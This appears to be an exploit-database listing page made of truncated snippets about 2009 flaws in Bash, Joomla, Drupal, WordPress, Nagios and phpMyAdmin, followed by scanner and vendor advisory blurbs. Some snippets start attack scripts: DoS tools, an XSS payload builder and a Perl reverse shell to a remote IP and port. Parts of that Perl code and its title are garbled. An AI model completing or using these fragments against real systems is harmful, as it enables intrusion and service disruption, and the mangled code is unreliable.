GNU Bash 4.0 - ls Control Character Command Injection

GNU Bash 4.0 - ls Control Character Command Injection source: https://www.securityfocus.com/bid/37776/info GNU Bash is prone to a command-injection vulnerability because it fails to adequately sanitize control characters in the 'ls' command. Attackers can exploit this issue to execute arbitrary...

GNU Bash 4.0 - 'ls' Control Character Command Injection

source: https://www.securityfocus.com/bid/37776/info GNU Bash is prone to a command-injection vulnerability because it fails to adequately sanitize control characters in the 'ls' command. Attackers can exploit this issue to execute arbitrary commands in a bash terminal; other attacks may also be...

Joomla Core 1.5.x Denial Of Service

!/bin/bash Copyright C 2009 Emanuele Gentili This program is released under the terms of the GNU General Public License GPL, which is distributed with this software in the file "COPYING". The GPL specifies the terms under which users may copy and use this software. jCd0s.sh This is a 0day DOS iss...

0day Drupal DOS <= 6.16 and 5.21

No description provided by source. !/bin/bash Copyright C 2009 Emanuele Gentili [email protected] This program is released under the terms of the GNU General Public License GPL, which is distributed with this software in the file "COPYING". The GPL specifies the terms under which users may copy...

Joomla! Component Core 1.5.x com_ - Denial of Service

Joomla! Component Core 1.5.x com - Denial of Service !/bin/bash Copyright C 2009 Emanuele Gentili This program is released under the terms of the GNU General Public License GPL, which is distributed with this software in the file "COPYING". The GPL specifies the terms under which users may copy a...

0day Wordpress DOS <= 2.9

No description provided by source. !/bin/bash Copyright C 2009 Emanuele Gentili [email protected] This program is released under the terms of the GNU General Public License GPL, which is distributed with this software in the file "COPYING". The GPL specifies the terms under which users may copy...

Joomla! Component Core 1.5.x com_ - Denial of Service

!/bin/bash Copyright C 2009 Emanuele Gentili This program is released under the terms of the GNU General Public License GPL, which is distributed with this software in the file "COPYING". The GPL specifies the terms under which users may copy and use this software. jCd0s.sh This is a 0day DOS iss...

Nagios3 statuswml.cgi Ping Command Execution

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Nagios3...

linux rally acquired the shell operations-vulnerability warning-the black bar safety net

!/ usr/bin/perl-w use strict; use Socket; use I:Handle; if$ARGV+1 != 2 print “$ARGV $0 RemoteIP RemotePort \n”; exit 1; my $remoteip = $ARGV0; my $remoteport = $ARGV1; my $proto = getprotobyname”tcp”; my $packaddr = sockaddrin$remoteport, cannot be stored correctly$remoteip; my $shell =...

WordPress 2.8.1 Cross Site Scripting

!/bin/bash echo "wp281.quickprz // iso^kpsbr" SITE=$1 COMMENT=$2 MESSAGE="h4x0riZed by the superfreakaz0rz" if "X$SITE" = "X" ; then echo "$0 postID" echo "f.e. $0 www.worstpress.eu" exit fi if "X$POSTID" = "X" ; then POSTID=1 fi echo "+ building payload" WHERE="title" can also be 'content'...

phpMyAdmin - '/scripts/setup.php' PHP Code Injection

!/bin/bash CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11 by pagvac gnucitizen.org, 4th June 2009. special thanks to Greg Ose labs.neohapsis.com for discovering such a cool vuln, and to str0ke milw0rm.com for testing this PoC script and providing feedback! PoC...

MDVA-2009:062 : bash

Bash as shipped with Mandriva Linux 2009.0 was executing keychain for new users even if the application was not installed. This updated package prevents this from happening. %NASLMINLEVEL 70300 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a security fix...

Fedora Core 10 FEDORA-2009-3639 (bash-completion)

The remote host is missing an update to bash-completion announced via advisory FEDORA-2009-3639. OpenVAS Vulnerability Test $Id: fcore20093639.nasl 6624 2017-07-10 06:11:55Z cfischer $ Description: Auto-generated from advisory FEDORA-2009-3639 bash-completion Authors: Thomas Reinke Copyright:...

Fedora Core 9 FEDORA-2009-3640 (bash-completion)

The remote host is missing an update to bash-completion announced via advisory FEDORA-2009-3640. Note: This VT has been deprecated and is therefore no longer functional. SPDX-FileCopyrightText: 2009 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright...

Fedora Core 9 FEDORA-2009-3640 (bash-completion)

The remote host is missing an update to bash-completion announced via advisory FEDORA-2009-3640. OpenVAS Vulnerability Test $Id: fcore20093640.nasl 6624 2017-07-10 06:11:55Z cfischer $ Description: Auto-generated from advisory FEDORA-2009-3640 bash-completion Authors: Thomas Reinke Copyright:...

Fedora 10 : bash-completion-1.0-2.fc10 (2009-3639)

Update to version 1.0: http://git.debian.org/?p=bash-completion/bash- completion.git;a=blob;f=CHANGES;hb=28cdfc9243da41f5bdb29b7515482354c01 438d3 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to...

Fedora 9 : bash-completion-1.0-2.fc9 (2009-3640)

Update to version 1.0: http://git.debian.org/?p=bash-completion/bash- completion.git;a=blob;f=CHANGES;hb=28cdfc9243da41f5bdb29b7515482354c01 438d3 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to...

[SECURITY] Fedora 9 Update: bash-completion-1.0-2.fc9

bash-completion is a collection of shell functions that take advantage of the programmable completion feature of bash 2...

[SECURITY] Fedora 10 Update: bash-completion-1.0-2.fc10

bash-completion is a collection of shell functions that take advantage of the programmable completion feature of bash 2...

MDVA-2008:125 : bash-completion

The bash-completion package shipped in Mandriva Linux 2008 Spring had a problem with scp remote host completion, as reported in bug 42063. The updated package fixes the issue. %NASLMINLEVEL 70300 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a security fix...